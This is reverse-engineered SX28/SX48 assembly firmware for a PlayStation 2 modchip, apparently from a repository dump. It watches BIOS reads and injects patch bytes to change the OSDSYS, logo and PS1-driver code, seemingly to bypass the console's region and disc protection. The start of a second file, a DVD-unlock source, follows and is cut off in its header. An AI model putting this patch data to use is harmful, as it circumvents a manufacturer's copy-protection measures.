w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P10 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P10 ret PS2_MODE_START_V0 ;;; clr fsr ;;jmp Load8skip ;;; skip pvd sb PSX_FLAG jmp BIOS_PATCH_DATA_V0 ;ps2 mode selected , skip mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... page $0200 jmp ALL_CONTIUNE_BIOS_PATCH BIOS_PATCH_DATA_V0 ;CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset ;; 1st patch snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;;;??? loop condition? load36skip mov w,#35;37;$7 ; skip 39 right mov VAR_DC1,w ; nop PVD_V0 ;;todo snb IO_BIOS_OE jmp PVD_V0 nop mov w,#$10 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$a2 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$af ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;; PVD_V01 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$10 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;;;;; PVD_V0_SYNC_L0 sb IO_BIOS_OE jmp PVD_V0_SYNC_L0 PVD_V0_L1 snb IO_BIOS_OE jmp PVD_V0_L1 decsz VAR_DC1 jmp PVD_V0_SYNC_L0 PVD_V0_SYNC_L1 sb IO_BIOS_OE jmp PVD_V0_SYNC_L1 PVD_V0_PATCH1 snb IO_BIOS_OE jmp PVD_V0_PATCH1 mov w,#$08;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$e0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_PVD_V0_PATCH1 sb IO_BIOS_OE jmp END_PVD_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w Load8skip mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_BIOS_OSDSYS ; clr fsr snb IO_BIOS_OE jmp V0_BIOS_OSDSYS nop mov w,#$70 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 mov w,#$0A ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 ;; 70 0a 08 mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0C ;ascii 1 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 ; sb z ;skip next line if doesnt = 0 meaning is 1 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$2D ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$28 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0 ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$02 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; mov w,#15;$7 ; skip 8 ; mov VAR_DC1,w ; nop BIOS_V0_SYNC_L0 sb IO_BIOS_OE jmp BIOS_V0_SYNC_L0 BIOS_V0_L1 snb IO_BIOS_OE jmp BIOS_V0_L1 decsz VAR_DC1 jmp BIOS_V0_SYNC_L0 BIOS_V0_L2 sb IO_BIOS_OE jmp BIOS_V0_L2 BIOS_V0_PATCH1 snb IO_BIOS_OE jmp BIOS_V0_PATCH1 mov w,#$0;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_BIOS_V0_PATCH1 sb IO_BIOS_OE jmp END_BIOS_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0A00 jmp V0_logo ;sleep snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START ; snb V12LOGO_FLAG ; page $0400 ; jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO org $0A00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0A ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0A ret V0_logo snb IO_BIOS_OE jmp V0_logo nop mov w,#$4e ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$12 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo jmp LOGO_V0_DCLOAD ;;;;;;;;;;;;;;;;; call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$ac ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 LOGO_V0_DCLOAD mov w,#2;$7 ; skip 37 right? mov VAR_DC1,w LOGO_V0_PATCH snb IO_BIOS_OE jmp LOGO_V0_PATCH0 LOGO_V0_PATCH0 sb IO_BIOS_OE jmp LOGO_V0_PATCH0 decsz VAR_DC1 jmp LOGO_V0_PATCH ;LOGO_V0_PATCH00 ;snb IO_BIOS_OE ;jmp LOGO_V0_PATCH00 LOGO_V0_PATCH1 snb IO_BIOS_OE jmp LOGO_V0_PATCH1 mov w,#$20;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P0A ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$38 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$11 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$60 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$82 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fb mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$61 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$10 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1a mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$13 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$55 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$5f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fc mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$58 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$30 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$c7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f9 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$42 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$40 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$b2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$8e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A END_LOGO_V0_PATCH1 sb IO_BIOS_OE jmp END_LOGO_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP page $0C00 jmp Load8skip_logo org $0C00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0C ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0C ret Load8skip_logo mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_logofix ; clr fsr snb IO_BIOS_OE jmp V0_logofix nop mov w,#$18 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$c7 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix V0_logofix_L0 sb IO_BIOS_OE jmp V0_logofix_L0 V0_logofix_L1 snb IO_BIOS_OE jmp V0_logofix_L1 decsz VAR_DC1 jmp V0_logofix_L0 V0_logofix_L2 sb IO_BIOS_OE jmp V0_logofix_L2 V0_logofix_patch snb IO_BIOS_OE jmp V0_logofix_patch mov w,#$64;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$13 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C end_V0_logofix_patch sb IO_BIOS_OE jmp end_V0_logofix_patch mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP org $0E00 ENDIF end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

19,184

randomWIPsince-reverse/v0messiah2port/workingrc-mechadvd-unlock.S

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;******************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. ;SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_DVD_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = 